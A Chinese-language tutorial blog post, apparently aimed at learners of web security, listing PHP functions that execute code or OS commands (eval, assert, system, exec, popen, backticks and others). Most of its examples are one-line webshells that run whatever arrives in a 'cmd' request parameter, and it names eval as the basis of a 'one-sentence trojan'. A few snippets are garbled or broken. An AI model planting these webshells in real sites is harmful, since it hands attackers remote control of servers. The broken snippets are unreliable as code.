当前位置: 首页 > article >正文

PHP危险函数

PHP危险函数

文章目录

  • PHP危险函数
      • PHP 代码执行函数
        • eval 语句
        • assert()语句
        • preg_replace()函数
          • 正则表达式里
          • 修饰符
      • 回调函数
        • call_user_func()函数
        • array_map()函数
      • OS命令执行函数
        • system()函数
        • exec()函数
        • shell_exec()函数
        • passthru() 函数
        • popen 函数
        • 反引号``
    • 实列

通过构造函数可以执行系统命令达到非法控制计算机被视为危险函数

PHP 代码执行函数

字符串当中PHP代码来执行

eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行

这个语句只能执行php代码不能执行系统命令但能调用system()函数来实现系统命令

$code = $_REQUEST['code'];
eval($code);

通过简写就是一句话木马的原型

@eval($ REQUEST['code']);

也可以嵌入eval(eval());的形式来执行

assert()语句
  • assert() 只能执行单条PHP 语句
  • 在低版本中assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,7.2.0被弃用在8.0.0的assert语句已经被淘汰了
$code=$_REQUEST['code'];
assert($code);

因为每次只能执行一条语句如果想实现一句话木马可以以编码的形式进行
在这里插入图片描述

preg_replace()函数

preg_replace 执行一个正则表达式的搜索和替换

正则表达式:一类字符特征

preg_replace(“/正则表达式/修饰符”,“要替换的字符”,“目标字符串”)

在第二个参数里"\\1"是第一个匹配到的字符

正则表达式里

.*是表示匹配所有

修饰符

i匹配大小写

e将匹配到符合php代码的字符执行

回调函数

一个函数调用另外一个函数。PHP 语言中回调函数有很多。

call_user_func()函数

特点

  • 只能调用函数
  • 不能用结构语句

用assert执行phpinfo函数

$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);
array_map()函数

参数必须为数组

$func = 'assert';
$arg[] = "phpinfo();";
array_map($func, $arg);

OS命令执行函数

OS命令执行函数:把字符串当作系统命令执行

system()函数

是一个典型的系统命令执行函数

特点

  • 自带输出功能
  • 自动区分系统平台
<?php
    $cmd=$_REQUEST['cmd'];
	system($cmd);
    ?>
exec()函数

将字符串当作代码执行

特点:

  • 能执行系统命令
  • 不自带输出
  • 只输出命令执行结果的最后一行
<?php
    $cmd = "ipconfig";
	var_dump(exec($cmd));
    ?>
shell_exec()函数

特点:

  • 通过 shell 执行命令并将完整的输出以字符串的方式返回
  • 不自带输出
<?php
    $cmd =$_REQUEST["cmd"];
	echo shell_exec($cmd);
    ?>
passthru() 函数

执行外部程序并且显示原始输出
特点

  • 能执行系统命令
  • 自带输出功能
<?php   
    $cmd =$_REQUEST["cmd"];    		passthru($cmd); 
?>
popen 函数

特点

  • 把命令结果当作成一个文件
  • 不自带输出功能
  • 函数返回值为文件指针,可以简单理解为文件名

想要输出结果要使用fread函数有两个参数一个是要读的文件另一个是字节数
在这里插入图片描述
模式。‘r’ 表示阅读,‘w’ 表示写入。

<?php
    $cmd=$_REQUEST["cmd"];
	$result=popen($cmd,"r");
	echo fread($resukt,1024);
反引号``

反引号` 内的字符串,会被解析成OS 命令。


$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";
echo "<pre>".`$cmd`;
n($cmd,"r");
	echo fread($resukt,1024);

实列

  1. system
    以字符串的形式执行系统命令并自带回显
<?php
    system($_GET['cmd']);
?>

在这里插入图片描述
2. exec
用字符串的形式执行系统命令不自带回显,用echo只能输出末一行用来确认代码是否执行成功

<?php 
   echo exec($_REQUEST['cmd']);
?>

在这里插入图片描述
3. shell_exec
通过 shell 执行命令后并将完整的输出以字符串的方式返回
函数本身不自带回显功能

<?php 
  echo shell_exec($_REQUEST['cmd']);
?>

在这里插入图片描述
4. passthru
执行外部程序并且显示原始输出

<?php 
  passthru ($_REQUEST['cmd']);
?>

在这里插入图片描述
5. popen
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

<?php
echo fread(popen($_REQUEST['cmd'],'r'),1024);
?>

在这里插入图片描述

  1. ``反引号
    反引号` 内的字符串,会被解析成OS 命令
<?php
    $a=$_REQUEST['cmd'];
    echo `$a`;
?>

在这里插入图片描述
7. eval
eval() 会将符合PHP 语法规范字符串当作php 代码执行

<?php
echo @eval ($_REQUEST['cmd']);
?>

在这里插入图片描述

  1. assert
<?php
	assert($_REQUEST['cmd']);
	?>

在这里插入图片描述

  1. preg_replace
<?php
   echo  preg_replace('~\[(.*)\]~e','\\1','[phpinfo()]');  
?>

在这里插入图片描述

  1. call_user_func
<?php
    call_user_func('assert','phpinfo()');
?>

在这里插入图片描述

  1. array_map
    只能执行数组
<?php
    $a[]=phpinfo();
    array_map(assert(),$a);
?>

在这里插入图片描述

  1. 动态函数
$func="system";
$func2="ipconfig";
$func($func2);

在这里插入图片描述


http://www.kler.cn/a/108542.html

相关文章:

  • 算法每日双题精讲——滑动窗口(长度最小的子数组,无重复字符的最长子串)
  • 第四十五章 Vue之Vuex模块化创建(module)
  • SHA-256哈希函数
  • Unity 性能优化方案
  • 【大数据学习 | HBASE高级】rowkey的设计,hbase的预分区和压缩
  • Spring高手之路26——全方位掌握事务监听器
  • Qt之实现支持多选的QCombobox
  • MySQL安装『适用于 CentOS 7』
  • 防止消息丢失与消息重复——Kafka可靠性分析及优化实践
  • 微机原理:汇编语言程序设计
  • 两数之和(C++解法)
  • 【Oracle】Navicat Premium 连接 Oracle的两种方式
  • 分类预测 | Matlab实现KOA-CNN-GRU-selfAttention多特征分类预测(自注意力机制)
  • Python——新建工程/引入本地库
  • 基于PHP的仓库库存管理系统设计与实现(源码+lw+部署文档+讲解等)
  • 【VR开发】【Unity】【VRTK】1-无代码VRVR开发介绍
  • SQL SELECT TOP, LIMIT, ROWNUM
  • 悟空crm安装搭建 报错[0] RedisException in Redis.php line 56问题处理办法
  • 若依ruoyi-nbcio如何做一个仿钉钉流程设计器的思考
  • SylixOS BSP开发(七)
  • vue源码分析(六)——vnode 和 createElement的使用和作用
  • SQL-正则表达式和约束
  • redis中的io多线程(线程池)
  • SQLSmith: Databend 如何利用随机化测试检测 Bug
  • 广东木模板批发,建筑桥梁工程专用组合木模板
  • Linux 命令|服务器相关